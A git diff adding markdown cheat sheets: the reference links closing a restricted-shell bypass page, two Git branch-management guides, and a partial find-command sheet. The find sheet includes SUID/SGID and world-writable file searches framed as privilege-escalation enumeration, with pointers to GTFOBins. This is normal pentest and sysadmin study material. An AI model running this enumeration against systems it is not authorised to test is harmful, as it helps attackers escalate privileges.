Restricted Shell Bypass Guide](https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf) — Comprehensive PDF. +- [FireShell — Restricted Shell Escaping Techniques](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/) — Deep dive with lshell examples. +- [HackTricks — Full TTYs](https://book.hacktricks.xyz/generic-methodologies-and-resources/reverse-shells/full-ttys) — Always up-to-date reference. +- [pwncat-cs](https://github.com/calebstewart/pwncat) — Automated shell upgrade + post-exploitation framework. +- [ConPtyShell](https://github.com/antonioCoco/ConPtyShell) — Fully interactive Windows reverse shell. +- [Static Binaries (socat, etc.)](https://github.com/andrew-d/static-binaries) — Pre-compiled static binaries for targets without package managers. + +--- + +*Last updated: 2025* diff --git a/src/content/sheets/git-workflow/git-complete-branch-vault-management-guide.md b/src/content/sheets/git-workflow/git-complete-branch-vault-management-guide.md @@ -0,0 +1,622 @@ +--- +title: "Git — Complete Branch & Vault Management Guide" +description: "git init git remote add origin https://github.com/yourusername/your-repo.git" +category: git-workflow +tags: ["git-workflow", "adcs"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Git — Complete Branch & Vault Management Guide.md" +--- +# Initialise the repo if you haven't already +git init +git remote add origin https://github.com/yourusername/your-repo.git + +# Add all your main vault files +git add . +git commit -m "Initial main vault setup" +git push -u origin main +``` + +> [!info]+ Command Breakdown +> 1. **`git init`**: Initialises a new local [Git](https://git-scm.com/docs/git-init) repository in the current directory +> 2. **`git remote add origin <url>`**: Links your local repo to the remote GitHub repository +> 3. **`git add .`**: Stages all files in the current directory for commit +> 4. **`git commit -m "..."`**: Commits staged files with a descriptive message +> 5. **`git push -u origin main`**: Pushes to GitHub and sets `origin/main` as the upstream tracking branch — `-u` only needed on the first push + +--- + +**Step 2 — Create a completely empty new vault branch** + +```bash +# Create orphan branch — NO history, NO files carried over from main +git checkout --orphan HTB-Labs + +# Wipe every file that carried over +git rm -rf . +``` + +> [!info]+ Command Breakdown +> 1. **`git checkout --orphan HTB-Labs`**: Creates a new branch with zero commit history — files from the current branch are present in the working tree but untracked, so the next step wipes them +> 2. **`git rm -rf .`**: Recursively force-removes all files from the working tree and staging area, leaving a completely blank slate +> 3. *`main` is entirely untouched by this operation* + +> [!success]+ Expected Result +> Completely blank slate on `HTB-Labs`. The `main` branch and all its files remain untouched. + +--- + +**Step 3 — Add vault files and push** + +```bash +# Create your new vault structure +mkdir HTB-Labs +echo "# HTB Labs Vault" > README.md + +# Add, commit, and push +git add . +git commit -m "Initial HTB Labs vault setup" +git push -u origin HTB-Labs +``` + +> [!info]+ Command Breakdown +> 1. **`mkdir HTB-Labs`**: Creates a new directory for the vault structure +> 2. **`echo "# HTB Labs Vault" > README.md`**: Creates a minimal README — required for an initial commit on an empty branch +> 3. **`git push -u origin HTB-Labs`**: Pushes the orphan branch to GitHub and sets upstream tracking + +> [!important]+ Adding More Vaults Later +> Repeat Steps 2 and 3 for every new vault — always start from `--orphan`. Never use `git checkout -b` to create a new vault branch or you will inherit files from the current branch. + +--- + +## Section 3 — Workflow B — Move Existing Edits to a New Branch + +> [!faq]+ Which Scenario Are You In? +> Before running anything, check your current state: +> ```bash +> git status +> ``` +> 1. Shows **modified files** → edits are **uncommitted** — follow Scenario A below +> 2. Shows **nothing to commit** → edits are already **committed** on main — follow Scenario B below + +--- + +**Scenario A — Edits are uncommitted (not yet committed)** + +*Your changes exist only as working-directory edits* + +```bash +# 1. Create a new branch and switch to it — uncommitted edits travel with you automatically +git checkout -b my-new-branch + +# 2. Commit your edits on the new branch +git add . +git commit -m "Site edits — moved to own branch" + +# 3. Push the new branch to GitHub +git push -u origin my-new-branch +``` + +> [!info]+ Command Breakdown +> 1. **`git checkout -b my-new-branch`**: Creates the new branch and switches to it — all uncommitted file changes come with you because they live in the working directory, not on any branch +> 2. **`git add .`**: Stages every modified file +> 3. **`git commit -m "..."`**: Locks your edits into the new branch's history +> 4. **`git push -u origin my-new-branch`**: Creates the branch on GitHub and sets upstream — Railway or any other service can now be pointed at this branch + +> [!success]+ Expected Result +> 1. `my-new-branch` exists on GitHub with all edits committed +> 2. `main` is unchanged — still matches the original repo +> 3. No merging has occurred — the two branches are fully independent + +--- + +**Scenario B — Edits are already committed on main** + +*You already ran `git commit` — the changes are in `main`'s history* + +```bash +# 1. Create a new branch at the current point in history +# This copies main's current state (including your commits) into the new branch +git checkout -b my-new-branch + +# 2. Push the new branch to GitHub — DO THIS BEFORE TOUCHING MAIN +git push -u origin my-new-branch + +# 3. Switch back to main +git checkout main + +# 4. Reset main back to match the original remote +git reset --hard origin/main +``` + +> [!info]+ Command Breakdown +> 1. **`git checkout -b my-new-branch`**: Creates a new branch starting from exactly where `main` currently is — all committed edits are included +> 2. **`git push -u origin my-new-branch`**: Pushes the new branch to GitHub **before** touching `main` — your work is safely backed up remotely +> 3. **`git checkout main`**: Switches back to main to clean it up +> 4. **`git reset --hard origin/main`**: Forces local `main` to exactly match the GitHub remote — effectively removes your local commits from it + +> [!warning]+ Push the New Branch BEFORE Resetting Main +> Push `my-new-branch` to GitHub first. Once you reset `main`, those commits are gone from `main` locally. They are safe on `my-new-branch` — but only if you pushed it first. + +> [!success]+ Expected Result +> 1. `my-new-branch` on GitHub contains all your edits +> 2. `main` is clean — matches the original forked repo +> 3. No merging has occurred + +--- + +## Section 4 — Switching Between Vaults / Branches + +```bash +git checkout main # Switch to Personal Vault +git checkout HTB-Labs # Switch to HTB Vault +git checkout Work-Notes # Switch to Work Vault +git checkout - # Jump back to the previous branch instantly +``` + +> [!info]+ Command Breakdown +> 1. **`git checkout <branch>`**: Switches the working directory to the specified branch — because each vault branch was created with `--orphan`, switching branches is equivalent to switching between entirely different vaults +> 2. **`git checkout -`**: Shorthand for the previously checked-out branch; equivalent to `cd -` in shell + +> [!warning]+ Obsidian Users — Branch Switching Warning +> Always close the current vault in Obsidian **before** running `git checkout`. Obsidian can recreate files or get confused when files suddenly change under it. After switching, reopen Obsidian and point it to the same folder. + +> [!warning]+ Uncommitted Changes Block Switching +> 1. If local changes conflict with the target branch, switching will abort +> 2. Resolve by committing: `git add . && git commit -m "WIP"` +> 3. Or stash: `git stash` — then restore after switching: `git stash pop` + +--- + +## Section 5 — Saving Changes (Daily Workflow) + +> [!important]+ Always Verify Your Branch Before Committing +> Running a commit on the wrong branch is the most common mistake in a multi-vault setup. Always check first. + +```bash +# Check which branch/vault you are on +git branch + +# Save changes to whichever vault you're currently on +git add . +git commit -m "Update HTB writeup for box XYZ" +git push +``` + +> [!info]+ Command Breakdown +> 1. **`git branch`**: Lists all local branches — asterisk (`*`) marks the currently active one +> 2. **`git add .`**: Stages all new, modified, and deleted files in the working directory +> 3. **`git commit -m "..."`**: Creates a snapshot of staged changes — use descriptive messages for easy history navigation +> 4. **`git push`**: Pushes committed changes to the tracked remote branch on GitHub + +**Standard vault update pattern — switch, change, commit, push** + +```bash +git checkout HTB-Labs +git add . +git commit -m "Add new lab notes" +git push +``` + +> [!tip]+ Golden Rules for Multi-Vault Repos +> 1. Always run `git branch` before committing — confirm you are on the right vault +> 2. Use `--orphan` for new vaults — never branch off main or you will inherit its files +> 3. Close Obsidian before switching branches to avoid file conflicts +> 4. Push regularly — GitHub is your backup for every vault + +--- + +## Section 6 — Pointing Railway at a Branch + +> [!tip]+ Railway Deployment Branch +> 1. Go to your project in [Railway](https://railway.app/) +> 2. Navigate to **Settings → Source** +> 3. Change the deployment branch from `main` to your edits branch +> 4. Railway will now build and deploy from that branch +> 5. `main` remains your clean baseline / fallback + +--- + +## Section 7 — Inspecting History with git log + +> [!info]+ [git log](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History) Overview +> Inspects commit history and surfaces commit references — hashes, HEAD pointers, tags, branches +> 1. Displays commits in reverse chronological order by default +> 2. Opens in a pager — press `q` to exit, arrow keys to scroll +> 3. Supports filtering by author, file, date, and branch +> 4. Read-only — makes no changes to the repo or working tree + +**Commit Reference Types** + +| Reference | Example | Meaning | +|---|---|---| +| Full SHA-1 | `346ca091076783c70623aba03fb7139d3d27134f` | Exact commit identifier | +| Short SHA | `346ca09` | First 7 chars — minimum Git requires | +| Tag | `v1.0` | Human-readable bookmark | +| Branch name | `main`, `HTB-Labs` | Latest commit on that branch | +| HEAD | `HEAD` | Currently checked-out commit | +| Relative | `HEAD~2`, `HEAD^` | Commits before HEAD | + +**`git log` — Flags** + +| Flag | Effect | +|---|---| +| `--oneline` | Shortened hash + message, one line per commit | +| `--graph` | ASCII branch/merge graph alongside log | +| `--all` | Show commits from all branches | +| `--decorate` | Show branch/tag names next to commits | +| `-n <number>` | Limit to `n` most recent commits | +| `--author="Name"` | Filter by author | +| `-- <file>` | Show only commits touching a specific file | + +```bash +# Best daily driver — compact, decorated, graphed, all branches +git log --oneline --graph --decorate --all + +# Last 5 commits, compact +git log --oneline -5 + +# Commits touching a specific file +git log --oneline -- hello.html +``` + +> [!info]+ Command Breakdown +> 1. **`--oneline --graph --decorate --all`**: Combines short hash, ASCII branch topology, branch/tag names, and all branches into the clearest possible history view +> 2. **`-5`**: Limits output to the 5 most recent commits — replace with any integer +> 3. **`-- hello.html`**: The `--` separator tells Git what follows is a file path, not a branch name — filters log to only commits that modified that file + +--- + +## Section 8 — Tagging Versions + +> [!info]+ [git tag](https://git-scm.com/book/en/v2/Git-Basics-Tagging) Overview +> Creates permanent, human-readable bookmarks on specific commits (e.g. release versions) +> 1. Two types: **lightweight** (pointer only) and **annotated** (full metadata object) +> 2. Tags are local until explicitly pushed to a remote +> 3. Annotated tags are required for `git describe` to work correctly +> 4. Tags can be applied retroactively to any past commit using its hash + +**Tag Types** + +| Type | Command | Use Case | +|---|---|---| +| Lightweight | `git tag v1.0` | Quick private/temporary label; no metadata | +| Annotated | `git tag -a v1.0 -m "Release"` | Public releases; includes author, date, message | + +**`git tag` — Flags** + +| Flag | Effect | +|---|---| +| `-a` | Create an annotated tag (stores author, date, message) | +| `-m "<msg>"` | Attach a message inline (skips editor prompt) | +| `<tagname> <hash>` | Tag a past commit by hash | +| `-d <tagname>` | Delete a tag locally | +| `-l "v1.*"` | List tags matching a pattern | + +```bash +# Annotated tag on current HEAD +git tag -a v1.0 -m "First public release" + +# Tag a specific past commit +git tag -a v0.9 558151a -m "Pre-release" + +# List all tags +git tag + +# Delete a local tag +git tag -d v1.0 +``` + +> [!info]+ Command Breakdown +> 1. **`-a v1.0 -m "..."`**: Creates a full annotated tag object — `-m` attaches the message inline, bypassing the editor +> 2. **`558151a`**: Short SHA of a past commit — retrieve via `git log --oneline` +> 3. **`git tag`**: With no args, outputs a plain alphabetical list of all tags +> 4. **`-d v1.0`**: Removes the tag locally — does **not** affect the remote + +> [!warning]+ Tags Are Local Until Pushed +> 1. Tags do not sync automatically with `git push` +> 2. Push a single tag: `git push origin v1.0` +> 3. Push all tags at once: `git push --tags` +> 4. Remove a remote tag: `git push origin -d v1.0` + +--- + +## Section 9 — Branch Management + +**`git branch` — Flags** + +| Flag | Effect | +|---|---| +| *(no args)* | List local branches; `*` marks current | +| `-a` | List all local and remote-tracking branches | +| `-r` | List remote-tracking branches only | +| `-v` | Verbose: show last commit hash + message per branch | +| `-d <name>` | Delete branch (safe; refuses if unmerged) | +| `-D <name>` | Force-delete regardless of merge status | +| `-m <old> <new>` | Rename a branch | +| `--merged` | List branches already merged into current | +| `--no-merged` | List branches not yet merged | + +```bash +# See all local branches (* = current) +git branch + +# See all branches including remotes +git branch -a + +# See last commit per branch +git branch -v + +# Delete a merged branch (safe) +git branch -d style + +# Force-delete an unmerged branch +git branch -D experiment + +# List branches already merged into main (safe to delete) +git branch --merged main +``` + +> [!warning]+ Deleting Branches +> 1. `git branch -d` refuses to delete a branch with unmerged changes — this is a safety net +> 2. `git branch -D` force-deletes regardless — use only when you are certain the data is not needed +> 3. Deleting a remote branch with `git push origin --delete` is permanent — GitHub has no recycle bin + +--- + +## Section 10 — Creating and Switching Branches (git switch) + +> [!info]+ [git switch](https://git-scm.com/docs/git-switch) Overview +> Creates and/or switches between branches — introduced in Git 2.23 as a focused replacement for `git checkout` +> 1. `-c` flag creates a new branch and switches in a single step +> 2. Switching with uncommitted changes will fail unless Git can carry them safely +> 3. Each branch maintains its own working tree state — files from other branches are hidden, not deleted +> 4. Legacy equivalent: `git checkout -b <name>` + +**`git switch` — Flags** + +| Flag | Effect | +|---|---| +| *(branch name)* | Switch to existing local branch | +| `-c <name>` | Create new branch and switch to it (from current HEAD) | +| `-c <name> <start-point>` | Create from a specific branch or commit | +| `-C <name>` | Force-create: resets branch if it already exists | +| `--detach` | Switch to a commit directly (detached HEAD state) | +| `-` | Switch back to the previously checked-out branch | + +```bash +# Confirm which branch you're on before creating +git branch + +# Create new branch from current HEAD and switch to it +git switch -c style + +# Switch to an existing branch +git switch main + +# Create branch from a specific past commit +git switch -c hotfix abc1234 + +# Jump back to the previous branch +git switch - +``` + +> [!faq]+ git switch vs git checkout +> 1. `git switch` (Git 2.23+) handles **branch operations only** — cleaner, less ambiguous +> 2. `git checkout` handles branches **and** file restoration — can be confusing +> 3. Legacy equivalent: `git checkout -b <name>` = `git switch -c <name>` +> 4. *Both commands still work — `git switch` is preferred in modern workflows* + +--- + +## Section 11 — Merging Branches + +> [!info]+ [git merge](https://git-scm.com/docs/git-merge) Overview +> Integrates commits from one branch into the current branch, preserving full commit history +> 1. Always switch to the **target** (receiving) branch before merging +> 2. Fast-forward merges create no new commit; merge commits have two parents +> 3. Conflicts require manual resolution of `<<<<<<<` / `=======` / `>>>>>>>` markers +> 4. Git 2.34+ uses the `ort` strategy by default instead of `recursive` + +**`git merge` — Flags** + +| Flag | Effect | +|---|---| +| *(branch name)* | Merge named branch into current branch | +| `--no-ff` | Always create a merge commit (preserves branch history) | +| `--ff-only` | Abort if fast-forward is not possible | +| `--squash` | Combine all source commits into one unstaged change | +| `--abort` | Cancel an in-progress conflicted merge | +| `--continue` | Resume merge after resolving conflicts | +| `-m "<msg>"` | Override the auto-generated merge commit message | + +```bash +# Standard merge — bring style into main +git switch main +git merge style + +# Force a merge commit even if fast-forward is possible +git merge --no-ff style -m "Merge style feature" + +# Fast-forward only — abort if not possible +git merge --ff-only style + +# Squash all commits from style into one clean commit +git merge --squash style +git commit -m "Add styling feature" + +# Abort a merge gone wrong +git merge --abort + +# After resolving conflicts manually +git add <resolved-file> +git merge --continue +``` + +> [!info]+ Merge Output Interpretation +> 1. `Fast-forward` — branch pointer advanced; no new commit created +> 2. `Merge made by the 'ort' strategy` — merge commit created; histories had diverged +> 3. `CONFLICT (content): Merge conflict in <file>` — manual resolution required +> 4. `Already up to date.` — source branch has no commits not already in target; nothing to do + +> [!warning]+ Merge Safety Considerations +> 1. Merge commits are visible in `git log` — use `--squash` or `--ff` to reduce noise in history +> 2. Merging directly into `main` without a pull request is not recommended in team workflows +> 3. Accidental merge recovery: `git reset --hard HEAD~1` — **use with extreme caution** + +--- + +## Section 12 — Restoring Deleted or Lost Files + +> [!tip]+ Best All-in-One Fix — Force Sync with GitHub +> When in doubt, this restores your branch to exactly match the remote: +> ```bash +> git fetch --all +> git reset --hard origin/HTB-Labs # Replace with your branch name +> ``` + +**Recovery Decision Table** + +| Situation | Command | Risk | +|---|---|---| +| Deleted, not yet staged | `git restore .` | None — safe | +| Deleted and staged, not committed | `git restore --staged --worktree .` | None — safe | +| Committed locally, not pushed | `git reset --hard HEAD~1` | Low — local only | +| Committed and pushed | `git fetch --all` then `git reset --hard origin/<branch>` | Medium — confirm first | + +```bash +# Scenario 1 — Deleted files, not yet staged +git restore . + +# Scenario 2 — Deleted and staged, NOT yet committed +git restore --staged --worktree . + +# Scenario 3 — Deleted, committed, NOT yet pushed +git reset --hard HEAD~1 # Roll back 1 commit; replace 1 with number of commits to undo + +# Scenario 4 — Deleted, committed AND pushed +git fetch --all +git reset --hard origin/main # Replace main with your branch name +``` + +> [!info]+ Command Breakdown +> 1. **`git restore .`**: Discards all unstaged changes — safe, only affects uncommitted/unstaged changes +> 2. **`git restore --staged --worktree .`**: Combines unstaging and file restoration in a single command +> 3. **`git reset --hard HEAD~1`**: Resets both commit history and working directory to one commit before HEAD — safe because the bad commit has not been pushed +> 4. **`git fetch --all`**: Downloads all latest data from every remote branch without merging +> 5. **`git reset --hard origin/main`**: Forces local branch to exactly match the remote state + +> [!warning]+ Destructive Operation +> `git reset --hard` permanently discards local changes and commits ahead of the reset point. Ensure you do not need that data before running this command. + +--- + +## Section 13 — Branch Naming Conventions + +> [!tip]+ Naming Rules +> Keep names clean, lowercase, no spaces — use hyphens `-` as separators + +| Vault / Purpose | Good Branch Name | +|---|---| +| Personal Obsidian vault | `main` or `personal-vault` | +| HTB / CTF notes | `HTB-Labs` | +| Work notes | `work-notes` | +| Study notes | `study-vault` | +| Railway site edits | `site-edits` | +| New feature / test | `feature/new-template` | +| Bug / fix | `bugfix/broken-link` | +| Archive / old version | `archive/2024-vault` | + +--- + +## Section 14 — Master Quick Reference Card + +```bash +# ── DIAGNOSE ────────────────────────────────────────── +git status # See uncommitted changes + current branch +git branch # List local branches (* = active) +git branch -a # List all branches including remotes +git branch -v # See last commit per branch +git log --oneline --graph --decorate --all # Full history visualisation +git log --oneline -5 # Last 5 commits compact + +# ── CREATING ────────────────────────────────────────── +git checkout --orphan branch-name # New empty branch (no history, no files) +git rm -rf . # Wipe files after orphan create (required) +git checkout -b branch-name # New branch inheriting current working state +git switch -c branch-name # Modern equivalent of checkout -b + +# ── SWITCHING ───────────────────────────────────────── +git checkout branch-name # Switch to vault/branch +git switch branch-name # Modern equivalent +git checkout - # Jump back to previous branch +git switch - # Modern equivalent + +# ── SAVING ──────────────────────────────────────────── +git add . # Stage all changes +git commit -m "your message" # Commit changes +git push # Push to GitHub +git push -u origin branch-name # First push of a new branch + +# ── SYNCING ─────────────────────────────────────────── +git pull # Pull latest from GitHub +git fetch --all # Fetch all remote branches (no merge) + +# ── RESTORING ───────────────────────────────────────── +git restore . # Undo unstaged deletions (safe) +git restore --staged --worktree . # Undo staged deletions (safe) +git reset --hard HEAD~1 # Roll back 1 commit (local only) +git reset --hard origin/branch-name # Force match GitHub (destructive) + +# ── TAGGING ─────────────────────────────────────────── +git tag -a v1.0 -m "Release" # Create annotated tag +git tag # List all tags +git push origin v1.0 # Push single tag to GitHub +git push --tags # Push all tags to GitHub +git tag -d v1.0 # Delete local tag +git push origin -d v1.0 # Delete remote tag + +# ── MERGING ─────────────────────────────────────────── +git switch main # Switch to target branch first +git merge branch-name # Merge branch into current +git merge --no-ff branch-name # Force merge commit +git merge --squash branch-name # Squash into one commit +git merge --abort # Cancel conflicted merge + +# ── CLEANUP ─────────────────────────────────────────── +git branch -d branch-name # Delete local branch (safe) +git branch -D branch-name # Force delete local branch +git push origin --delete branch-name # Delete remote branch (permanent) +git branch -m old-name new-name # Rename a branch +``` + +--- + +## References + +| Category | Resource | URL | +|---|---|---| +| Core Docs | Git Official Documentation | [git-scm.com/doc](https://git-scm.com/doc) | +| Core Docs | git-checkout | [git-scm.com/docs/git-checkout](https://git-scm.com/docs/git-checkout) | +| Core Docs | git-branch | [git-scm.com/docs/git-branch](https://git-scm.com/docs/git-branch) | +| Core Docs | git-reset | [git-scm.com/docs/git-reset](https://git-scm.com/docs/git-reset) | +| Core Docs | git-restore | [git-scm.com/docs/git-restore](https://git-scm.com/docs/git-restore) | +| Core Docs | git-switch | [git-scm.com/docs/git-switch](https://git-scm.com/docs/git-switch) | +| Core Docs | git-merge | [git-scm.com/docs/git-merge](https://git-scm.com/docs/git-merge) | +| Core Docs | git-log | [git-scm.com/book — Viewing History](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History) | +| Core Docs | git-tag | [git-scm.com/book — Tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging) | +| Core Docs | Basic Branching and Merging | [git-scm.com/book — Branching](https://git-scm.com/book/en/v2/Git-Branching-Basic-Branching-and-Merging) | +| Tutorials | git log Tutorial | [atlassian.com/git/tutorials/git-log](https://www.atlassian.com/git/tutorials/git-log) | +| Tutorials | git tag Tutorial | [atlassian.com/git/tutorials — tag](https://www.atlassian.com/git/tutorials/inspecting-a-repository/git-tag) | +| Tutorials | git switch — Git Tower | [git-tower.com/learn/git/commands/git-switch](https://www.git-tower.com/learn/git/commands/git-switch) | +| GitHub | Managing Branches | [docs.github.com — Managing Branches](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository) | +| GitHub | About Branches | [docs.github.com — About Branches](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) | +| Deployment | Railway Docs — Deployments | [docs.railway.app/deploy/deployments](https://docs.railway.app/deploy/deployments) | +| App | Obsidian Official Site | [obsidian.md](https://obsidian.md/) | +| Cheatsheets | Atlassian Git Cheat Sheet | [Atlassian PDF](https://wac-cdn.atlassian.com/dam/jcr:e7e22f25-bba2-4ef1-a197-53f46b6df4a5/SWTM-2088_Atlassian-Git-Cheatsheet.pdf) | +| Cheatsheets | GitLab Git Cheat Sheet | [GitLab PDF](https://about.gitlab.com/images/press/git-cheat-sheet.pdf) | + +--- + +#Git #GitHub #Obsidian #Railway #VersionControl #Workflow #BranchManagement #OrphanBranch #Branching #Merging #Tagging #GitLog #GitSwitch #GitMerge diff --git a/src/content/sheets/git-workflow/git-move-existing-edits-to-a-new-branch-railway-site.md b/src/content/sheets/git-workflow/git-move-existing-edits-to-a-new-branch-railway-site.md @@ -0,0 +1,119 @@ +--- +title: "Git — Move Existing Edits to a New Branch (Railway Site)" +description: "git checkout -b my-new-branch" +category: git-workflow +tags: ["git-workflow"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Git/Git — Move Existing Edits to a New Branch (Railway Site).md" +--- +# 1. Create a new branch AND switch to it immediately +# Your uncommitted edits travel with you automatically +git checkout -b my-new-branch + +# 2. Now commit your edits on the new branch +git add . +git commit -m "Site edits — moved to own branch" + +# 3. Push the new branch to GitHub +git push -u origin my-new-branch +``` + +> [!info]+ Command Breakdown +> 1. **`git checkout -b my-new-branch`**: Creates the new branch and switches to it in one step — crucially, all your uncommitted file changes come with you because they live in the working directory, not on any branch +> 2. **`git add .`**: Stages every modified file +> 3. **`git commit -m "..."`**: Locks your edits into the new branch's history +> 4. **`git push -u origin my-new-branch`**: Creates the branch on GitHub and sets it as the upstream — Railway can then be pointed at this branch + +> [!success]+ Expected Result +> 1. `my-new-branch` exists on GitHub with all your edits committed +> 2. `main` is unchanged — still matches the original forked repo +> 3. Railway can be configured to deploy from `my-new-branch` + +--- + +## Scenario B — Edits Are Already Committed on Main + +*You already ran `git commit` — the changes are in `main`'s history* + +```bash +# 1. Create a new branch at the current point in history +# This copies main's current state (including your commits) into the new branch +git checkout -b my-new-branch + +# 2. Push the new branch to GitHub +git push -u origin my-new-branch + +# 3. Now go back to main and strip your commits off it +git checkout main + +# 4. Reset main back to match the original remote (before your edits) +git reset --hard origin/main +``` + +> [!info]+ Command Breakdown +> 1. **`git checkout -b my-new-branch`**: Creates a new branch that starts from exactly where `main` currently is — all your committed edits are included +> 2. **`git push -u origin my-new-branch`**: Pushes the new branch to GitHub **before** touching `main` — your work is safely backed up remotely +> 3. **`git checkout main`**: Switches back to main so you can clean it up +> 4. **`git reset --hard origin/main`**: Forces your local `main` to exactly match what GitHub's `main` looks like — effectively removing your local commits from it + +> [!warning]+ Do Step 2 Before Step 4 +> Push `my-new-branch` to GitHub **first**. Once you reset `main`, those commits are gone from `main` locally. They are safe on `my-new-branch` but only if you pushed it first. + +> [!success]+ Expected Result +> 1. `my-new-branch` on GitHub contains all your site edits +> 2. `main` is clean — matches the original forked repo +> 3. No merging has occurred — the two branches are fully independent + +--- + +## Pointing Railway at Your New Branch + +> [!tip]+ Railway Deployment Branch +> 1. Go to your project in [Railway](https://railway.app/) +> 2. Navigate to **Settings → Source** +> 3. Change the deployment branch from `main` to `my-new-branch` +> 4. Railway will now build and deploy from your edits branch +> 5. `main` can remain as your clean baseline / fallback + +--- + +## Quick Reference — Your Exact Workflow + +```bash +# ── CHECK WHERE YOU ARE ─────────────────────────────── +git status # See uncommitted changes +git log --oneline -5 # See last 5 commits on current branch + +# ── SCENARIO A (uncommitted edits) ─────────────────── +git checkout -b my-new-branch # Move edits to new branch +git add . # Stage everything +git commit -m "My site edits" # Commit on new branch +git push -u origin my-new-branch # Push to GitHub + +# ── SCENARIO B (already committed on main) ──────────── +git checkout -b my-new-branch # Branch off current main +git push -u origin my-new-branch # Push new branch FIRST (safety) +git checkout main # Go back to main +git reset --hard origin/main # Strip your commits from main + +# ── VERIFY EVERYTHING LOOKS RIGHT ──────────────────── +git branch -a # See all branches +git log --oneline -5 # Check commit history on current branch +git checkout my-new-branch # Switch to your edits branch to confirm +``` + +--- + +## References + +1. [Git Official Documentation](https://git-scm.com/doc) +2. [git-checkout — Git Reference](https://git-scm.com/docs/git-checkout) +3. [git-reset — Git Reference](https://git-scm.com/docs/git-reset) +4. [Railway Docs — Deployments](https://docs.railway.app/deploy/deployments) +5. [GitHub Docs — About Branches](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) + +--- + +#Git #GitHub #Railway #BranchManagement #Workflow #SiteDeployment diff --git a/src/content/sheets/linux-it/find-command.md b/src/content/sheets/linux-it/find-command.md @@ -0,0 +1,463 @@ +--- +title: "Find Command" +description: "find /home -iname \"*.conf\" -type f" +category: linux-it +tags: ["linux-it", "privilege-escalation"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Linux/Find Command.md" +--- +# Find files by name (case-insensitive) +find /home -iname "*.conf" -type f +``` + +> [!info]+ Command Breakdown +> 1. **-iname "*.conf"**: Case-insensitive pattern matching for files ending in `.conf` +> 2. **-type f**: Restricts results to regular files only +> 3. *Wildcard `*` matches any characters before `.conf` extension* +> 4. *Useful for locating configuration files across user directories* + +```bash +# Find files larger than 100MB +find / -type f -size +100M 2>/dev/null +``` + +> [!info]+ Command Breakdown +> 1. **-size +100M**: Files greater than 100 megabytes +> 2. **2>/dev/null**: Redirects permission-denied errors to avoid output clutter +> 3. *Starting from root `/` requires elevated privileges for complete results* +> 4. *Useful for identifying large files consuming disk space or potential data exfiltration* + +```bash +# Find files modified between two dates +find /data -newermt "2025-12-01" ! -newermt "2026-01-01" +``` + +> [!info]+ Command Breakdown +> 1. **-newermt "2025-12-01"**: Files modified after (newer than) December 1, 2025 +> 2. **! -newermt "2026-01-01"**: `!` negates the test; files NOT newer than January 1, 2026 +> 3. *Logical combination creates a date range: December 1-31, 2025* +> 4. *Critical for [incident response](https://www.sans.org/white-papers/33901/) timeline analysis* + +```bash +# Find and delete empty directories +find /tmp -type d -empty -delete +``` + +> [!warning]+ Command Breakdown +> 1. **-type d**: Targets directories only +> 2. **-empty**: Matches directories with no contents +> 3. **-delete**: Deletes matched items (implies `-depth` traversal) +> 4. *Use with extreme caution—deletion is immediate and irreversible* +> 5. *Test with `-print` before using `-delete` to verify targets* + +--- + +## SUID/SGID and World-Writable File Discovery + +Files with [SUID/SGID](https://www.redhat.com/sysadmin/suid-sgid-sticky-bit) bits or world-writable permissions are high-value targets for privilege escalation: + +1. **SUID (Set User ID)**: Executes with file owner's privileges (typically root) +2. **SGID (Set Group ID)**: Executes with file group's privileges +3. **World-writable**: Any user can modify the file +4. Cross-reference SUID binaries with [GTFOBins](https://gtfobins.github.io/) for exploitation paths +5. World-writable config files in `/etc` are critical escalation vectors + +### SUID/SGID Discovery Commands + +```bash +# Find SUID files +find / -type f -perm -4000 2>/dev/null +``` + +> [!info]+ Command Breakdown +> 1. **-perm -4000**: Files with at least the SUID bit (octal 4000) set +> 2. **-type f**: Restricts to regular files (not directories) +> 3. *The `-` prefix means "at least these permission bits"—file may have additional permissions* +> 4. *Common legitimate SUID binaries: `/usr/bin/passwd`, `/usr/bin/sudo`, `/bin/ping`* + +```bash +# Find SGID files +find / -type f -perm -2000 2>/dev/null +``` + +**SGID characteristics:** +1. SGID on executables runs with group privileges +2. SGID on directories causes new files to inherit directory's group +3. Less common for privilege escalation than SUID but still valuable +4. Check output against system baseline for anomalies + +```bash +# Find SUID or SGID files +find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null +``` + +> [!info]+ Command Breakdown +> 1. **\( ... \)**: Parentheses create logical grouping (escaped for shell) +> 2. **-o**: Logical OR operator—matches either condition +> 3. *Comprehensive search for all elevated permission binaries* +> 4. *Output should be compared against baseline for anomaly detection* + +### World-Writable Discovery Commands + +```bash +# Find world-writable files +find / -type f -perm -0002 2>/dev/null +``` + +**Security implications:** +1. Extremely dangerous if file is executed or sourced by privileged processes +2. Check ownership—writable files owned by root are highest priority +3. Common in web directories due to misconfigurations +4. Potential for code injection or configuration tampering + +```bash +# Find world-writable directories (sticky bit often expected) +find / -type d -perm -0002 2>/dev/null +``` + +**Expected vs. dangerous:** +1. World-writable directories like `/tmp` typically have sticky bit (1000) set +2. Sticky bit prevents users from deleting others' files +3. Missing sticky bit on writable directory is a misconfiguration +4. Check `/var/www`, `/var/tmp`, `/dev/shm` for anomalies + +### Advanced Privilege Escalation Enumeration + +```bash +# SUID binaries owned by root (common priv-esc targets) +find / -type f -perm -4000 -user root 2>/dev/null +``` + +**Analysis approach:** +1. Root-owned SUID binaries execute with root privileges +2. Focus on non-standard binaries not in `/usr/bin` or `/bin` +3. Test discovered binaries against [GTFOBins](https://gtfobins.github.io/) for known exploits +4. Document custom SUID binaries for deeper analysis + +```bash +# SUID/SGID with detailed output +find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null +``` + +> [!info]+ Command Breakdown +> 